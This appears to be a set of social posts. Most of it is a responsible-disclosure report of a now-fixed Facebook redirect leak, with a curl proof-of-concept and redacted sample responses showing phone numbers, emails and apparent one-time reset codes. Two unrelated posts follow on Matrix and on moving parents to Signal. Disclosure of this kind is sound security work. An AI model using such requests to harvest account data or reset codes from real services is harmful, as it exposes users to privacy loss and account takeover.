For an unknown period until the end of January 2024, Facebook appears to have suffered a data leak that has exposed users’ email addresses, phone numbers and other identifying information.

The only action required was to send an HTTP request to https://x.facebook.com/ with a valid Facebook tracking cookie (datr) set. The link to which the HTTP 302 redirected then revealed third-party user data.

📝 For privacy reasons some data is redacted with either ‘▒▒▒’ (base64url or hex strings) or ‘●●●●’ (human readable).

For example, a simple

curl --silent \
     --header "Cookie: datr=__▒▒▒;" \
     --dump-header - \
     https://x.facebook.com/ \
     | grep -i "^location:"

📝 Note: In the following, only the field-value pairs of https://m.facebook.com/recover/code/? are listed in favour of better readability.

ars=m_try_another_way_clicked_from_code_entry
ph[0]=+9899●●●●●●●●
rm=send_sms
fl=default_recover
c=/login/
hash=AU▒▒▒
refsrc=deprecated
_rdr

The value +9899●●●●●●●● apparently is a Pakistani phone number.

Numbers from WhatsApp accounts were also revealed by Facebook’s ‘chatty’ redirects:

ars=m_lara_first_password_failure
ph[0]=+919165●●●●●●●
rm=send_whatsapp_skip_bc
hash=AU▒▒▒
refsrc=deprecated
_rdr

E-mail addresses (em[0]) were disclosed in plain text as well.

em[0]=●●●●●●.●●●●●●●@gmail.com
rm=send_email
c=/login/?next=https://www.facebook.com/public/●●●●-●●●●●●●/
hash=AU▒▒▒
refsrc=deprecated
_rdr

In some cases, multiple telephone numbers or e-mail addresses were given for accounts (em[1], ph[1], ...).

Alternatively, a cuid was returned instead, which can also be correlated with an email address or telephone number:

rm=send_email
spc=0
cuid=AY▒▒▒
fl=default_recover
try=6
locale2=es_ES
refsrc=deprecated
wtsid=rdr_▒▒▒
hash=AU▒▒▒
_rdr

Some information has also been leaked about OAuth logins via third-party providers.

em[0]=a***@*******
rm=send_email
c=/login/?skip_api_login=1
api_key=●●●●●●●●●●●●●●●
kid_directed_site=0
app_id=●●●●●●●●●●●●●●●
signed_next=1
next=https://m.facebook.com/dialog/oauth?

client_id=●●●●●●●●●●●●●●●
redirect_uri=https://login.●●●●●●●●●●●.co.uk/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2/authresp
response_type=code
scope=email+public_profile
state=StateProperties=ey▒▒▒
ret=login
fbapp_pres=0
logger_id=▒▒-▒-▒-▒-▒▒▒
tp=unspecified

cancel_url=https://login.●●●●●●●●●●●.co.uk.onmicrosoft.com/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2?

error=access_denied
error_code=200
error_description=Permissions+error
error_reason=user_denied
state=StateProperties=ey▒▒▒
# =

display=touch
locale=en_GB
pl_dbl=0
refsrc=deprecated
is_from_native_app=true
locale2=en_GB
hash=▒▒▒
refsrc=deprecated
_rdr

Although, in this example, the email address (em[0]) has been anonymized by Facebook itself, it is possible to draw conclusions about users on the basis of api_key (identical to app_id and client_id) and redirect_uri (containing ●●●●●●.co.uk)

Query strings with the field n are particularly concerning. n seems to be a one-time password, as known from password reset emails. This is even more worrying when combined with the cuid, which can easily be derived from the email address.

n=24807091
s=23
exp_locale=pl_PL
cuid=AY▒▒▒
redirect_from=button
wtsid=rdr_▒▒▒
refsrc=deprecated
hash=AU▒▒▒
_rdr.

During my investigations I noticed that the same URLs were returned for requests in quick succession. However, the returned query string changed at irregular intervals, roughly once per minute, depending on the time of day.

The issue was reported to Facebook via its bug bounty programme. While the demonstrated method stopped working two weeks after submission, the issue was triaged for an extensive period of time. In accordance with the principle of responsible disclosure, this is published only now.

#Facebok #Meta #WhatsApp #Infosec #DataBreach #DataLeak

The more I use #Matrix, the more I'm puzzled why it isn't mainstream just yet. It can literally take the place of anything - any messaging/phone call/video call apps like #WhatsApp or #Telegram, group chats (even with screensharing) like #Discord, #Teamspeak, #Slack, or #Teams - all of that and it might even be more secure (or private) than something like #Signal since you don't even need a phone number to sign up. All you need to do to get on board is to register an account on an instance (of which you could even stand one up yourself), and use the service on a good app - #Element and #ElementX seem to be the best on desktop and mobile respectively. If you don't fancy installing an app, you could even use it on the web - something you couldn't even do on Signal.

I like it so much, and I think it should be mainstream so much, that I had just updated my resume to replace my phone number with a Matrix link instead lol - and I feel much better not having my (work) number displayed in public. Idk if that'd be an issue (i.e. for a recruiter), but meh, the link even takes you to a pretty portal (stood up by the Matrix instance) that tells the reader how to reach me (i.e. app options they could launch/install, etc.). All in all, I'm so, so, so SORRY for thinking Matrix is just what #FOSS/#Linux nerds use to be different (to be private, really) when really, it's just a really cool communication protocol/service EVERYONE should use - not freakin' WhatsApp or #iMessage (I see you, Americans).

Ahoi zusammen,

auf der Mission WhatsApp aus meinem Leben zu verbannen, brauche ich mal etwas Hilfe.

Ich suche Ressourcen in einfacher Sprache(!), welche mir bei meiner Argumentation helfen können, Menschen zu Signal zu bewegen. Ich bin technisch sehr versiert und tendiere zu diversen technischen Exkursen, wenn ich etwas erklären oder darlegen soll. Daher brauche ich etwas, was für Menschen geschrieben ist, die eben nicht ich sind.

Je weniger Text, desto besser, da jedes weitere Wort dazu führen kann, dass eben abgeblockt wird.

Gezielt in meinem Fall ist die Zielgruppe: Eltern von Kleinkindern. Zum großen Teil auch nicht deutsch.

Ich bin Elternvertreter in der Kita meines Kindes. Ich kann also nicht einfach sagen »Jau, ich bin jetzt weg. Kommuniziert ihr mal über WhatsApp, ich krieg schon irgendwie was mit.«
ICH muss kommunizieren und ICH muss koordinieren. Einen leichten Ausweg gibt es also nicht.

Wenn also irgendwer etwas hat, was einer simplen Gegenüberstellung von WhatsApp und Signal gleichkommt, wäre mir sehr geholfen.

Es ist okay, wenn es in Englisch ist. Ich kann das übersetzen. Aber ich brauche eine Vorlage für einfache Menschen, mit der ich arbeiten kann, die nicht zu technisch ist.

Wenn also jemand was hat, bin ich sehr offen für Hilfe.

Boosts sind erwünscht.

#WhatsApp #Signal #Messenger